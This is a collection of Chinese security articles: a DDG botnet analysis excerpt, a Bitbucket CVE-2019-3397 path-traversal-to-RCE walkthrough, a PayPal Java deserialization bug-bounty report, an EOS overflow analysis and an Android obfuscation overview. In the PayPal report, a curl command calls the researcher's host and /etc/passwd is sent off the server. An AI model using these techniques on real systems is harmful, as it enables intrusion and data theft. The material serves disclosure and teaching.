'Signature': [0x3b,0xd9,0x73,0x04,0x6d,0x75,0x68,0xe8,0xdd,0xd6,0x0c,0x5e,0xac,0xd1,0x29,0x2d,0x16,0x31,0x03,0xf4,0xfb,0xbb,0xa8,0x7d,0xba,0x6a,0xc8,0xda,0x6f,0xec,0x42,0x16,0x6a,0x00,0x8b,0x62,0x3f,0xa1,0x11,0x9b,0x16,0xe8,0xf2,0x13,0xb1,0x45,0x40,0xc5,0xd4,0xc6,0xaa,0x90,0x99,0x98,0x4b,0xc9,0x70,0x66,0x77,0x18,0xa9,0x82,0x53,0xb9,0x4f,0x10,0x05,0xdf,0x8d,0x6c,0x3a,0x31,0x2b,0x45,0x6f,0x9d,0xcb,0xd2,0x7d,0x5e,0x90,0x5f,0xb9,0x59,0x9e,0xa2,0x40,0x02,0x1b,0xe9,0xed,0xd5,0x57,0xb5,0x09,0x41,0x1e,0xd8,0x41,0xd8,0x0b,0xa8,0xd1,0x54,0x00,0xab,0x43,0xdc,0x70,0xce,0xca,0x14,0xc5,0x19,0xc9,0x37,0x0f,0x19,0xe0,0x02,0x95,0x30,0x57,0xa6,0xbb,0xc4,0xa6,0x85,0x51,0xcc,0x9b,0x0d,0xc4,0xc5,0x7d,0xb9,0xc4,0xa0,0x93,0x00,0xec,0x52,0x06,0x77,0xfe,0x82,0x52,0x1e,0x88,0xf2,0xe2,0xc6,0x21,0x3e,0x81,0x7e,0x1e,0x53,0x9d,0xb0,0xab,0xd4,0xc2,0xa3,0x85,0x8b,0xef,0xac,0xdd,0x9d,0x4b,0x5a,0x13,0x8e,0xa1,0x31,0x6d,0xc5,0xb2,0xf4,0xca,0x54,0x85,0x29,0xa0,0x62,0x0d,0xac,0xde,0xfa,0x86,0x09,0x2b,0x1c,0x05,0x5f,0xa0,0xa4,0x91,0x11,0xb0,0x6d,0x7e,0x1c,0xab,0x31,0x6f,0xca,0x64,0x15,0x44,0xe5,0xaf,0x24,0x12,0xb6,0x74,0xde,0x9c,0xc1,0xf7,0x0c,0x22,0x80,0x1f,0x07,0x2b,0x57,0xe2,0xfb,0xf9,0x39,0x0b,0x1b,0x4f,0xa3,0x82,0x07,0xce,0x35,0x41,0x23,0x73,0x94,0x8c,0x27,0x1b,0x77,0x1f,0x5e,0xdd,0xb5,0xb1,0xa6,0xa1,0x6c]
}
注意配置数据最后一项： **Signature** ，这其实是木马作者拿自己的 RSA 私钥对配置数据中的 **Data**
部分（真正用到的配置）生成的一个 RSA 签名字段。样本在解码配置数据之后，会用样本中内置的 RSA 公钥对 **Data**
部分配置数据进行校验，校验通过之后才会采用这些配置。样本中内置的 RSA 公钥如下：
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2
xQIDAQAB
-----END PUBLIC KEY-----
由此可见，这份配置数据无法伪造。这样一来，我们就只能加入 DDG 的 P2P 网络进行节点探测，而无法对整个 P2P 网络进行投毒。
### 2.4 ddg 的 P2P 节点
ddg 的主样本通过 Memberlist 框架成功加入了 P2P 网络之后，就会调用 `memberlist.Members()` 函数来获取当前 P2P
网络中的 Peers 列表。在 ddg 最近的几个版本中，主样本会把这份 Peers 列表保存到受害主机本地
`~/.ddg/<VERSION_NUMBER>.bs` 文件中。最新的版本则不会保存到本地，而是用开源的内嵌 KV 存储引擎
[Bolt](https://github.com/boltdb/bolt) 取代了之前的 `~/.ddg/<VERSION_NUMBER>.bs`
文件。即，样本获取到的 Peers 列表不再明文存储到本地文件中，而是存放到了内嵌的一个小型数据库中。
我们要获取 ddg 的 Peers 节点，就可以直接通过调用 `memberlist.Members()` 函数来获取。 | 社区文章 |
### 参考
基本上都是看RISP的分析了。感觉比较经典，翻译的。
* [[BSERV-11706] Bitbucket Data Center - Path traversal in the migration tool leads to RCE - CVE-2019-3397](https://jira.atlassian.com/browse/BSERV-11706)
* [RIPS Code Analysis](https://blog.ripstech.com/2019/bitbucket-path-traversal-to-rce/)
#### 基础概念
Atlassian Bitbucket Data Center：一个本地的Git仓库管理系统，具有高可用性等优点，适合大型企业使用。
* * *
Bitbucket：被全球数以百万计的开发人员使用。
* Bitbucket中的四种用户角色(user roles)：
* Bitbucket User
* Project Creator
* Admin
* System Admin
* * *
Git Hooks：当Git特定事件发生之前或之后（如commit、push等）触发执行的那些脚本。类似于监听事件、触发器。
* 按照Git Hooks脚本所在的位置可以分为两类：
* 1.本地Hooks，触发事件如pull、push、commit、merge等。
* 2.服务端Hooks，触发事件如receive等。
* * *
* TAR压缩包文件(TAR archive)包含了压缩包中每个文件条目(a file entry)的元信息:
* 修改日期(modification date)
* 用户名(user name)
* 组名(group name)
* 文件权限(file permissions)
* ...
#### 漏洞信息
漏洞描述：
Atlassian Bitbucket Data Center目录穿越漏洞(CVE-2019-3397)，具体在系统中的Data Center
migration tool功能，存在目录穿越漏洞。能够实现Path Traversal to
RCE。实际上是对“使用GZip压缩过的TAR存档文件”的不安全提取(解压)造成的，即提取的过程中未做足够的安全处理。
漏洞影响：
一个远程攻击者(具有管理员权限的已授权的用户)可以利用这个路径遍历漏洞，将文件写入任意位置，从而导致在运行Bitbucket Data
Center的某些版本的系统上，可以执行远程代码。
没有Data Center license的Bitbucket Server版本，不受影响。
影响版本：
* Bitbucket Data Center
* 5.13.0 <= version < 5.13.6
* 5.14.0 <= version < 5.14.4
* 5.15.0 <= version < 5.15.3
* 5.16.0 <= version < 5.16.3
* 6.0.0 <= version < 6.0.3
* 6.1.0 <= version < 6.1.2
修复建议：
升级版本 version >= 6.1.2
漏洞评级：
CVSS v3 score: 9.1 => Critical severity
* Exploitability Metrics
* Attack Vector:Network
* Attack Complexity:Low
* Privileges Required:High
* User Interaction:None
利用条件：
具有Admin角色权限的用户(攻击者)，即可使用Data Center Migration tool将任意文件(如webshell)上传到任意目录。
所在功能：
存在该漏洞的功能是Data Center Migration tool，它是在Bitbucket
Server的5.14版本中引入的，可以利用Bitbucket Data Center license进行利用。
RCE原理：
利用该目录穿越漏洞，看起来只能任意文件上传，所以攻击者借助Git Hooks可以释放(解压)一个Git
hook，当这个存储库中发生了特定事件（如pull或push请求），会执行该Git hook，即执行脚本，从而实现RCE。
#### 漏洞分析
数据中心迁移工具(Data Center Migration tool)，能够使管理员(Admins)或系统管理员(System
Admins)将若干个Git仓库从Bitbucket Server迁移到Bitbucket Data Center。
* 迁移过程
* 1.把仓库导出：管理员必须先从Bitbucket Server实例中导出Git仓库。【得到一个TAR存档压缩包】
* 2.把仓库导入：把Git仓库导入到目标系统(Bitbucket Data Center)。[Importing - Atlassian Documentation](https://confluence.atlassian.com/bitbucketserver/importing-957497836.html)
【漏洞利用】
在导出过程中，会创建具有以下结构的TAR存档压缩包：
_/repository/hierarchy_begin/c3b3efc5cb93609ad4fc
_/repository/hierarchy_end/c3b3efc5cb93609ad4fc
com.atlassian.bitbucket.server.bitbucket-instance-migration_instanceDetails/instance-details.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-instance-migration_metadata/project_68/project.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-instance-migration_metadata/project_68/repository_59.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/project/68/all-permissions.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/project/68/permissions.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/repository/59/permissions.json.atl.gz
com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/hooks/hooks.atl.tar.atl.gz
com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/contents/objects.atl.tar
com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/metadata/metadata.atl.tar.atl.gz
com.atlassian.bitbucket.server.bitbucket-git-lfs_gitLfsSettings/59/git-lfs-settings.json.atl.gz
可见这个TAR存档压缩包中包含了多个压缩包文件(GZIP和TAR)。
尤其要注意这个文件`hooks.atl.tar.atl.gz`，它包含了Git
hooks，这些hook其实是脚本，每当Git仓库中发生特定事件时执行对应脚本。
通过构造包含`../`的TAR压缩包，即可在导入过程中导致远程代码执行（下面具体解释）。
**正常情况**
导入Git仓库到目标系统(Bitbucket Data Center)的过程中，文件hooks.atl.tar.atl.gz中的Git
hooks按照预期都存储在目录`${BITBUCKET_DATA}/shared/data/repositories/${REPO_ID}/imported-hooks/`中，但是这些Git hooks都不会被执行，因为Git仓库的正常Git
hooks都存储在目录`${BITBUCKET_DATA}/shared/data/repositories/${REPO_ID}/hooks/`中。
**目录穿越**
这个目录穿越漏洞，实际上是对“使用GZip压缩过的TAR存档文件”的不安全提取(解压)造成的。
在非正常情况下，攻击者控制了迁移过程中第一步的结果——导出的“TAR存档压缩包”，其实是控制了其中的关键文件`hooks.atl.tar.atl.gz`的内容，通过构造特制的TAR存档压缩包从而利用目录穿越漏洞，从预期的解压目标目录中做穿越，实现在任意目录中释放(解压出)一个文件，这个文件可以是Git
hook。
看下Bitbucket Data Center如何对“使用GZip压缩过的TAR存档文件”做提取(解压)。
代码片段1: `extractToDisk`函数的具体实现
（具体实现经过一定简化）该函数将TAR存档压缩包中的关键文件压缩包`hooks.atl.tar.atl.gz`中具体条目`TAR archive
entry`的“实际的文件路径”作为形参`target`的值。
这个lambda表达式(第4-9行)实现了接口`IoConsumer<T>`的`accept`函数。
> “Lambda 表达式”(lambda
> expression)是一个匿名函数，Lambda表达式基于数学中的λ演算得名，直接对应于其中的lambda抽象(lambda
> abstraction)，是一个匿名函数，即没有函数名的函数。Lambda表达式可以表示闭包。
代码片段1:
public void extractToDisk(@Nonnull Path target, @Nonnull Predicate<String> filter) throws IOException {
this.read((entrySource) -> {
//lambda expression
Path entryPath = entrySource.getPath();
String filename = entryPath.getFileName().toString();
entrySource.extractToDisk(target.resolve(entryPath));
}, filter);
}
代码片段2:
`read`函数的具体实现
public void read(@Nonnull IoConsumer<EntrySource> reader,
@Nonnull Predicate<String> filter) throws IOException {
TarArchiveEntry entry;
while ((entry = (TarArchiveEntry) inputStream.getNextEntry()) != null) {
InputStream entryInputStream = new CloseShieldInputStream(inputStream);
String name = entry.getName();
if (filter.test(name)) {
reader.accept(new TarEntrySource(entryInputStream, Paths.get(name), entry));
}
}
}
使用while循环得到所有的归档条目(archive entries)；
最后一行，调用了reader对象的accept函数（传入的实参是一个`TarEntrySource`对象），`TarEntrySource`对象中的`name`是使用`entry.getName();`方法获得的，即`org.apache.commons.compress.archivers.tar.TarArchiveEntry.getName()`方法，这样得到的是“用户输入数据”且未做任何安全过滤，并作为实参直接传递给敏感的`java.nio.Paths.get()`。
因为`accept`函数是由定义的lambda表达式实现的，所以看下`TarEntrySource.extractToDisk()`函数的具体实现(代码片段3)。
可见，类`TarEntrySource`的`extractToDisk`函数的实参是：用户输入的未做任何安全过滤的“路径”。
对每一个压缩包中的每一个条目`TarArchiveEntry`（压缩包中的每个文件）所做的逻辑：
第5行
先使用`java.io.File.getParent()`获取该文件的父目录（即包含`../`的目录），`Files.createDirectories`会根据给定的“路径”，会依次创建所有不存在的目录。（如`/xx/yy/zz`则依次创建3个目录）
(补充对比 `Files.createDirectory()`方法只能创建一个目录，如果这个目录的上级目录是不存在的，就会报错）
第6行 `java.nio.file.Path.toFile`返回了一个File对象，表示这个真实路径的文件对象（空，待写入数据）。
参考 [Java Code Examples
java.nio.file.Path.toFile](https://www.programcreek.com/java-api-examples/?class=java.nio.file.Path&method=toFile)
第8行`IoUtils.copy`将压缩包中的某个文件的二进制流，写到对应目录中。(buffer大小为32768 bytes即32kb)
成功将压缩包中的某个文件的二进制流，“复制”到了对应目录。
代码片段3:
private static class TarEntrySource extends DefaultEntrySource {
public void extractToDisk(@Nonnull Path target) throws IOException {
Files.createDirectories(target.getParent());
OutputStream out = new FileOutputStream(target.toFile());
IoUtils.copy(this.inputStream, out, 32768);
PosixFileAttributeView fileAttributeView = (PosixFileAttributeView)Files.getFileAttributeView(target, PosixFileAttributeView.class);
fileAttributeView.setPermissions(FilePermissionUtils.toPosixFilePermissions(this.tarArchiveEntry.getMode()));
}
}
这个路径穿越漏洞，使攻击者能够在攻击者可控的Bitbucket repository中释放(解压)出一个文件，如Git hook。
注意文件权限，如果没有正确设置shell脚本的文件权限，如没有或无法设置文件的执行位(execute bit)，那么Git Hook当然就无法被执行。
根据代码片段3可知，该系统在文件权限上，也直接信任了用户输入：
代码片段3的最后一行`fileAttributeView.setPermissions`函数，直接将文件权限设置为存档条目(archive
entry)中原本的文件权限，即使用`this.tarArchiveEntry.getMode()`获取的元信息中的文件权限。
所以可以上传一个有执行权限的文件。
#### 总结
* 利用场景
* 直接利用 - 获取Admin角色的用户登录凭证后，导入恶意的TAR存档压缩包文件以便控制Bitbucket server
* 间接诱导 - 诱导Admin角色的用户，导入恶意的TAR存档压缩包文件以便控制Bitbucket server | 社区文章 |
# PayPal远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://artsploit.blogspot.jp/2016/01/paypal-rce.html>
译文仅供参考，具体内容表达以及含义原文为准。
在2015年12月,我在PayPal商业网站([manager.paypal.com](https://manager.paypal.com/))中发现了一个严重的漏洞,这个漏洞的存在,使得我可以通过不安全的JAVA反序列化对象,在PayPal的网站服务器上远程使用shell命令,并且获取访问生产数据库的权限。我迅速将这个漏洞向PayPal的安全团队报告,这个漏洞随后很快就被解决。
具体细节:
在对PayPal的网站进行安全检测的时候,我被一个不同寻常的附件表单参数“oldForm”所吸引,这个参数在经过base64解码后,看上去比较复杂。
在经过一些研究后,我意识到这是一个没有任何标记的java序列化对象,它由应用程序处理。这就意味着你可以向服务器发送任何现有类别的序列化对象,和“readObject”(或“readResolve”)。如果想利用这个漏洞,你需要在“classpath”中找到一个合适的类别,一个可以进行序列化和具有有趣(只是站在开发利用的角度来看)的内置的“readObject”方案。你可以在最近的由[FoxGlove
Security](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)安全团队所做的一篇文章中,了解到这项技术。一年前,Chris Frohoff (@frohoff)和Gabriel
Lawrence (@gebl)做了一项伟大的工作,他们在Apache Common
Collections库中找到了合适的类,这使得他们可以进行远程代码操控,并且还在他们的 [github
page](https://github.com/frohoff/ysoserial)主页上公布了“ysoserial”有效负载生成工具。
开发利用:
我迅速下载了这个工具,然后生成了一个简单的有效负载,并向我自己的服务器上通过执行“curl
x.s.artsploit.com/paypal”shell命令,发送DNS和HTTP请求:
然后我向程序服务器发送了那个在“oldFormData”参数中的base64加密的有效负载,之后令我印象深刻的是,当来自PayPal网络的请求在我的NGINX访问日志中出现的时候:
我意识到我可以在manager.paypal.com网页服务器上执行任意的操作命令,此外,我可以建立一个后台连接,连接到我喜欢的服务器上,比如,上传和执行一个后门。结果是,我可以获取manager.paypal.com应用程序所使用的生产数据库的访问权限。
取而代之的是,我只是读取“/etc/passwd” 文件,通过把它发送到我的服务器上,并将它所为漏洞的例证:
我还录制了一段视频,关于如何重新生成此漏洞,并将它向PayPal安全团队进行报告。
在那之后,我在manager.paypal.com程序中发现许多其他端点,它们同样使用序列化对象,也同样可以被利用。
大约一个月后,PayPal给了我一笔奖金,用来奖励我此次对该漏洞所做的报告,但据我所知,另一位研究员Mark
Litchfield在2015年12月11日也对类似的漏洞做了报告,比我还提早两天。但不管怎么说,PayPal决定给我一笔奖金,我尊重他们的决定。 | 社区文章 |
作者：古河@360 Vulcan Team
作者博客：[奇虎360技术博客](http://blogs.360.cn/blog/eos%E5%AE%98%E6%96%B9api%E4%B8%ADasset%E7%BB%93%E6%9E%84%E4%BD%93%E7%9A%84%E4%B9%98%E6%B3%95%E8%BF%90%E7%AE%97%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0/
"奇虎360技术博客")
#### 综述
asset是EOS官方头文件中提供的用来代表货币资产（如官方货币EOS或自己发布的其它货币单位）的一个结构体。在使用asset进行乘法运算（`operator
*=`）时，由于官方代码的bug，导致其中的溢出检测无效化。造成的结果是，如果开发者在智能合约中使用了asset乘法运算，则存在发生溢出的风险。
#### 漏洞细节
问题代码存在于contracts/eosiolib/asset.hpp:
asset& operator*=( int64_t a ) {
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication overflow
or underflow" ); <== (1)
eosio_assert( -max_amount <= amount, "multiplication underflow" ); <= (2)
eosio_assert( amount <= max_amount, "multiplication overflow" ); <= (3)
amount *= a;
return *this;
}
可以看到，这里官方代码一共有3处检查，用来防范溢出的发生。不幸的是，这三处检查没有一处能真正起到作用。
首先我们来看检查(2)和(3)，比较明显，它们是用来检查乘法的结果是否在合法取值范围`[-max_amouont,
max_amount]`之内。这里的问题是他们错误地被放置在了`amouont *= a`这句代码之前，正确的做法是将它们放到`amouont *=
a`之后，因为它的目的是检测运算结果的合法性。正确的代码顺序应该是这样：
amount *= a;
eosio_assert( -max_amount <= amount, "multiplication underflow" ); <= (2)
eosio_assert( amount <= max_amount, "multiplication overflow" ); <= (3)
下面来看检测(1)，这是一个非常重要的检测，目的是确保两点：
1. 乘法结果没有导致符号改变（如两个正整数相乘，结果变成了负数）
2. 乘法结果没有溢出64位符号数（如两个非零正整数数相乘，结果比其中任意一个都小）
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" ); <== (1)
这里的问题非常隐晦，直接看C++源代码其实看不出什么问题。但是我们要知道，EOS的智能合约最终是编译成webassembly字节码文件来执行的，让我们来看看编译后的字节码长什么样子：
(call $eosio_assert
(i32.const 1) // always true
(i32.const 224) // "multiplication overflow or underflow\00")
)
上述字节码对应于源码中的：
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" ); <== (1)
这个结果让我们非常吃惊，应为很明显，生成的字节码代表的含义是：
eosio_assert(1, "multiplication overflow or underflow" );
相当于说这个assert的条件变成了永远是true，这里面的溢出检测就这样凭空消失了！！！
根据我们的经验，会发生这样的问题，很可能是编译器优化导致的。于是我们查看了一下官方提供的编译脚本（eosiocpp）：
($PRINT_CMDS; /root/opt/wasm/bin/clang -emit-llvm -O3 --std=c++14 --target
=wasm32 -nostdinc \
可以看到它是调用clang进行编译的，并且默认开启了编译器优化，优化级别是O3，比较激进的一个级别。
我们尝试关闭编译器优化（使用-O0），然后重新编译相同的代码，这次得到的对应字节码如下：
(block $label$0
(block $label$1
(br_if $label$1
(i64.eqz
(get_local $1)
)
)
(set_local $3
(i64.eq
(i64.div_s
(i64.mul
(tee_local $1
(i64.load
(get_local $0)
)
)
(tee_local $2
(i64.load
(get_local $4)
)
)
)
(get_local $2)
)
(get_local $1)
)
)
(br $label$0)
)
(set_local $3
(i32.const 1)
)
)
(call $eosio_assert
(get_local $3) // condition based on "a == 0 || (amount * a) / a == amount"
(i32.const 192) // "multiplication overflow or underflow\00")
可以看到这次生成的字节码中完整保留了溢出检测的逻辑，至此我们可以确定这个问题是编译器优化造成的。
为什么编译器优化会导致这样的后果呢？这是因为在下面的语句中，amount和a的类型都是有符号整数:
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" );
在C/C++标准中，有符号整数的溢出属于“未定义行为（undefined
behavior）”。当出现未定义行为时，程序的行为是不确定的。所以当一些编译器（包括gcc，clang）做优化时，不会去考虑出现未定义行为的情况（因为一旦出现未定义行为，整个程序就处于为定义状态了，所以程序员需要自己在代码中去避免未定义行为）。简单来讲，在这个例子里面，clang在做优化时不会去考虑以下乘法出现溢出的情况：
(amount * a)
那么在不考虑上面乘法溢出的前提下，下面的表达式将永远为true:
a == 0 || (amount * a) / a == amount
于是一旦打开编译器优化，整个表达式就直接被优化掉了。
#### 官方补丁
8月7日EOS官方发布了这个漏洞的补丁：
<https://github.com/EOSIO/eos/commit/b7b34e5b794e323cdc306ca2764973e1ee0d168f>
#### 漏洞的危害
由于asset乘法中所有的三处检测通通无效，当合约中使用asset乘法时，将会面临所有可能类型的溢出，包括：
1. a > 0, b > 0, a * b < 0
2. a > 0, b > 0, a * b < a
3. a * b > max_amount
4. a * b < -max_amount
#### 响应建议
对于EOS开发者，如果您的智能合约中使用到了asset的乘法操作，我们建议您更新对应的代码并重新编译您的合约。因为像asset这样的工具代码是静态编译进合约中的，必须重新编译才能解决其中的安全隐患。
同时，我们也建议各位EOS开发者重视合约中的溢出问题，在编写代码时提高安全意识，避免造成不必要的损失。
#### 时间线
2018-7-26： 360 Vulcan团队在代码审计中发现asset中乘法运算的溢出问题
2018-7-27: 通过Hackerone平台将漏洞提交给EOS官方
2018-8-7: EOS官方发布补丁修复漏洞
* * * | 社区文章 |
奶奶个熊 以前不喜欢成为工具小子，
于是，开启了编程之旅，显然将py（屁眼儿）编程，
当做第二语言来使，最后发现要想深刻，
还是需要将各种工具能用py翻译，并且二次开发，
请问有什么觉得推荐的呢？ | 社区文章 |
# 【技术分享】Android代码混淆技术总结（一）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ix__xi](http://bobao.360.cn/member/contribute?uid=2858581749)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
最近一直在学习Android加固方面的知识，看了不少论文、技术博客以及一些github上的源代码，下面总结一下混淆方面的技术，也算是给想学习加固的同学做一些科普，在文中将到的论文、资料以及源码，我都会给出相应的链接，供大家进一步去深入学习。后面我会弄成一个系列的文章，如有一些混淆技术没讲到，还希望大家指点，当做是交流学习。
**二、Android混淆技术介绍**
**2.1 控制流平坦化**
**2.1.1 概念和思路**
控制流平坦化，就是在不改变源代码的功能前提下，将C或C++代码中的if、while、for、do等控制语句转换成switch分支语句。这样做的好处是可以模糊switch中case代码块之间的关系，从而增加分析难度。
这种技术的思想是，首先将要实现平坦化的方法分成多个基本块（就是case代码块）和一个入口块，为每个基本快编号，并让这些基本块都有共同的前驱模块和后继模块。前驱模块主要是进行基本块的分发，分发通过改变switch变量来实现。后继模块也可用于更新switch变量的值，并跳转到switch开始处。详细的概念可以参考文献[1]。
其模型如下图：
下面用代码来说明，左边方法是没有采用控制流平坦化之前的效果，右边是采用了控制流平坦化的效果。
**2.1.2 开源项目**
目前用的最多的是OLLVM（Obfuscator-LLVM）的开源混淆方案，很多国内加固厂商都可以看到使用它的身影。它提供了3中保护方式：控制流平坦化、虚假控制流和指令替换。其项目地址如下：
<https://github.com/Fuzion24/AndroidObfuscation-NDK>
<https://github.com/obfuscator-llvm/obfuscator>
**2.1.3 对抗**
目前，对于ollvm的反混淆思路，多采用基于符号执行的方法来消除控制流平坦化，这里不做详细分析，详细的分析思路，可以参考quarkslab写的文章[3]。
**2.2 花指令**
**2.2.1 概念和思路**
花指令也叫垃圾指令，是指在原始程序中插入一组无用的字节，但又不会改变程序的原始逻辑，程序仍然可以正常运行，然而反汇编工具在反汇编这些字节时会出错，由此造成反汇编工具失效，提高破解难度。
花指令的主要思想是，当花指令跟正常指令的开始几个字节被反汇编工具识别成一条指令的时候，才可以使得反汇编工具报错。因此插入的花指令都是一些随机的但是不完整的指令。但是这些花指令必须要满足两个条件：
在程序运行时，花指令是位于一个永远也不会被执行的路径中。
这些花指令也是合法指令的一部分，只不过它们是不完整指令而已。
也就是说，我们只需要在每个要保护的代码块之前插入无条件分支语句和花指令，如下图所示。无条件分枝是保证程序在运行的时候不会运行到花指令的位置。而反汇编工具在再反汇编时由于会执行到花指令，所以就会报错。
那么目前的反汇编工具所使用的反汇编算法，主要分为两类：线性扫描算法和递归扫描算法。
**线性扫描：** 依次按顺序逐个地将每一条指令反汇编成汇编指令
例如下面的指令：
如果是反汇编工具使用线性扫描算法，就会把花指令错误识别，导致反汇编出错。如下：
Dalvik Bytecode Obfuscation on Android[5]这篇文章就利用线性扫描的特点，插入fill-array-data-payload花指令，导致反编译工具失效。
**递归扫描：** 按顺序逐个反汇编指令，如果某个地方出现了分支，就会把这个分支地址记录下来，然后对这些反汇编过程中碰到的分支进行反汇编。
可见，递归扫描的算法反汇编能力更强。我们常用的Android逆向工具里面，使用的反汇编算法如下：
**2.2.2 开源项目**
(1) <https://github.com/thuxnder/dalvik-obfuscator>
可以结合文章[5]一起看。
(2) <https://github.com/faber03/AndroidMalwareEvaluatingTools>
这个工具是意大利萨尼奥大学的laswatlab团队打造出来的恶意程序免杀工具，其实就是使用各种混淆技术，其中也包括花指令插入，在AndroidMalwareEvaluatingTools/transformations
sources/JunkInsertion/目录下。该工具的使用报告可以参考文献[4]。
(3) <https://github.com/strazzere/APKfuscator>
APKFuscator通过插入下图的垃圾指令使得反汇编器出错。
**2.2.3 对抗**
检测出花指令的位置和长度，然后用NOP指令替换即可。
**2.3 标识符混淆**
**2.3.1 概念和思路**
标识符混淆就是对源程序中的包名、类名、方法名和变量名进行重命名，用无意义的标识符来替换，使得破解这分析起来更困难。最常用的就是ProGuard开源工具，其混淆后效果如右图所示。
甚至通过定制混淆字典，可以达到下面这种混淆效果，参考开源项目[7]：
那么这个标识符混淆的原理是怎样的呢？要了解这个原理，我们得事先对dex文件格式有一定了解，这个资料大家可以在网上找，很多，这里就不详细说了。
我们知道dex文件中的类名、方法名、变量名其实都对应的一个string_id的字符串索引，如下图。每一个类对应着class_def_item结构体，其中class_idx就是指向类名的字符串索引。
同样，每个方法也是对应一个method_id_item的结构体，其中name_idx就是指向方法名的字符串索引。
字段名也一样，对应着一个field_id_item的结构体，其中name_idx是指向字段名的字符串索引。
也就是说，我们只要修改相应的string_id索引表中的字符串，就可以达到标识符混淆的目的。
具体的实现可以参考文章[10]，它还提供了一个dex混淆器的简单原型：DexConfuse。
**2.3.2 开源项目**
(1) ProGuard
(2) <https://github.com/burningcodes/DexConfuse>
DexConfuse是一个简单的dex混淆器，可以混淆类名、方法名和字段名。
(3) <https://github.com/strazzere/APKfuscator>
APKFuscator作者通过解析修改Dex文件格式，修改类名，使类名字符个数超过255个，使得反汇编器报错。
修改类名使得字符个数超过255个
**2.3.3 对抗**
文献[8]采用的一种反混淆方式就是通过大规模的学习为混淆的APK，然后总结出一个概率模型，通过这个概率模型来识别混淆后的代码。其反混淆流程如下图分为3个步骤：
Step1：生成一个依赖关系图，每个节点代表要重命名的元素，每条线代表依赖关系。
Step2：导出一些限制规则，这些规则可以保证回复的APK是个正常的APK，且和原APK语义相同。
Step3：根据概率模型提供的权重，对混淆的元素的原始名称进行预测和恢复。
作者将论文中的反混淆方法做成了一个在线的反混淆工具提供使用：
<http://apk-deguard.com/>
**2.4 字符串混淆**
**2.4.1 概念和思路**
很多时候，为了避免反汇编后的代码容易被破解者分析读懂，往往会源程序中一些比较关键的字符串变量进行混淆，使得破解者分析成本提高。这里的字符串混淆有两种，一种是Java层的字符串混淆，另一种是native层的字符串混淆，也就是so文件中的字符串混淆。上面我们介绍了Proguard免费混淆工具，它可以混淆类名、方法名和变量名，但是不支持字符串混淆，要使用字符串混淆就需要使用DexGuard商业版混淆器。
实现思路如下：
(1) 编码混淆
编码混淆就是先将字符串转换成16进制的数组或者Unicode编码，在使用的时候才恢复成字符串。这样破解者在逆向后看到的是一串数字或者乱码，很难直接分析。
如下代码所示，其实就是输出一个Hello
World。但是我们硬编码的时候是保存它的ASCII对应的十六进制，在使用的时候才转换成字符。在反编译成smali后，就看不到任何的有意义的字符串了。
Java代码：
apktool反编译后的smali代码：
同样的在native层的代码也可以使用类似的方式实现对C或C++中的字符串进行混淆。
(2) 加密处理
加密处理就是实现在本地将字符串加密，然后将密文硬编码到源程序中，再实现一个解密函数，在引用密文的地方调用解密函数解密即可。如下图。
还有一种方式是我们可以修改dex文件。对于Java层的字符串加密，我们可以在dex文件中，找到要加密的字符串在字符串常量表中的位置，然后对它用加密算法加密。然后在自定义Application的attachBaseContext方法中在运行时对密文进行解密，或者可以在native层加密，提高破解难度。
同样的，我们也可以修改SO文件。SO文件中也存在只读常量区”.rodata”，如下图所示。我们可以根据section header
table来找到”.rodata”的位置和大小，然后实现对只读常量区进行加密混淆，在运行的时候再调用相应的解密算法解密即可。
**2.4.2 开源项目**
<https://github.com/ysrc/obfuseSmaliText>
obfuseSmaliText是国内同程安全的一个员工实现免费字符串混淆工具，它是通过apktool反编译安装包，在smali层对字符串进行混淆，目前采用的是异或+十六进制的方式进行混淆。效果如下图：
**2.4.3 对抗**
对于使用了字符串混淆，只能找到响应的解密函数，调用解密函数去解密就可以恢复明文。
**三、结束**
这次就写到这里，后面我还会继续补充其他的混淆技术，包括控制流变换、模拟器检测、反调试、Java代码native化等。
**参考**
[1] obfuscating C++ Programs via Control Flow Flattening
<http://www.inf.u-szeged.hu/~akiss/pub/pdf/laszlo_obfuscating.pdf>
[2]利用符号执行去除控制流平坦化
<https://security.tencent.com/index.php/blog/msg/112>
[3] Deobfuscation: recovering an OLLVM-protected program.
<http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html>
（备注：中文翻译版，<http://www.0daybank.org/?p=7845> ）
[4] Evaluating malwares obfuscation techniques against antimalware detection
algorithms.
<http://www.iswatlab.eu/wp-content/uploads/2015/09/mobile_antimalware_evaluation.pdf>
[5] Dalvik Bytecode Obfuscation on Android
